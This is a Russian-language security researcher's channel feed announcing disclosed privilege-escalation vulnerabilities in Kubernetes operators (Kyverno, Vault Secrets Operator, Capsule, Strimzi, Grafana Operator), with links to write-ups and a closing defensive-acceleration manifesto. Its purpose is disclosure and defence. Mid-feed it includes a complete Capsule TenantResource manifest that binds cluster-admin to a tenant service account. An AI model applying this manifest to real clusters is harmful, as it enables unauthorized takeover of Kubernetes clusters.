Defensive acceleration

AGI таймлайны всё ближе, а remediation таймлайны остаются старыми. Спустя почти три месяца после отправки информации об уязвимости в Kyverno - самом популярном security-admission-controller'е для Kubernetes - наконец вышел патч найденного мной крита. Эскалация до кластер-админа через Policy ресурс, обходом валидации url-пути старым добрым url encoding.

Вообще-то я сообщил о двух уязвимостях: вторая позволяет читать cluster-wide ресурсы через Policy, но она ещё не исправлена. А пока писал пост, я (ну, точнее, мой Claude-харнесс) нашёл байпасс для вышедшего патча. Детали байпасса будут после публикации нового исправления.

Если у вас Kyverno: заблокируйте с помощью политики kyverno создание ... политик kyverno (namespace-scoped). Ну и не выдавайте права пользователям на создание этого ресурса, конечно.

https://cherez0ff.art/blog/kyverno-policy-apicall-urlpath-traversal/

Новый день - новый способ заставить оператор Kubernetes слить пользователю свой собственный привилегированный SA токен. В этот раз дыра в HashiCorp Vault Secrets Operator, CVE-2026-8715. Эскалация до кластер-админа: https://cherez0ff.art/blog/vault-secrets-operator-secretidpath-token-theft/

https://cherez0ff.art/blog/capsule-tenantresource-cluster-admin-escalation/

История о том, как разработчики Capsule (projectcapsule) дали пользователям возможность создавать и читать любой кластерный ресурс и отказывались признавать, что это уязвимость. Частично исправили через месяц после моего отчёта, заблокировав меня и мой отчёт. Уязвимость чтения кластерных ресурсов по-прежнему не закрыта.

Самый тривиальный способ эскалации до кластер-админа из всех, что я видел:

apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: pwn
  namespace: alice-ns
spec:
  resyncPeriod: 10s
  resources:
  - rawItems:
    - apiVersion: rbac.authorization.k8s.io/v1
      kind: ClusterRoleBinding
      metadata:
        name: pwn-alice-cluster-admin
      subjects:
      - kind: ServiceAccount
        name: alice
        namespace: tenant-bootstrap
      roleRef:
        apiGroup: rbac.authorization.k8s.io
        kind: ClusterRole
        name: cluster-admin

Уязвимость в Strimzi Operator: создав объект Kafka в любом неймспейсе, можно прочитать все Secrets в ванильном k8s-кластере. А в OpenShift - гарантированно получить кластер-админа.

Помимо описания самой уязвимости, добавил заметку про defense in depth для такого класса атак на кластер.

https://cherez0ff.art/blog/strimzi-operator-cross-namespace-rolebinding/

Нашёл уязвимость в Grafana Operator, позволяющую угнать k8s-кластер, забрав привилегированный токен оператора через дыру в кастомных ресурсах GrafanaDashboard и GrafanaLibraryPanel.

Этот крит был оценён разработчиками Grafana как Medium по причине «админ всего кубера - не админ оператора» (что?), так что многие ИБ/платформенные команды её пропустят.

Уязвимы версии до v5.24.0

https://cherez0ff.art/blog/grafana-operator-jsonnet-token-theft/

d/acc - это подход к будущему, основанный на избирательном ускорении технического прогресса: приоритет отдаётся технологиям защиты над технологиями нападения. Сделать щит сильнее меча.

Философия видит в сверхразумном ИИ одновременно потрясающую возможность для расцвета человечества и смертельную угрозу для него: искусственные пандемии, кибератаки на критическую инфраструктуру, манипуляция и подрыв доверия в обществе, цифровая диктатура, необратимая потеря людьми контроля над собственным будущим.

Наша общая задача - направить будущее к первому сценарию и увести от второго.

На этом канале я буду писать о своём маленьком вкладе в общее дело - результаты моих исследований безопасности, мысли и заметки.

Channel photo updated

Channel created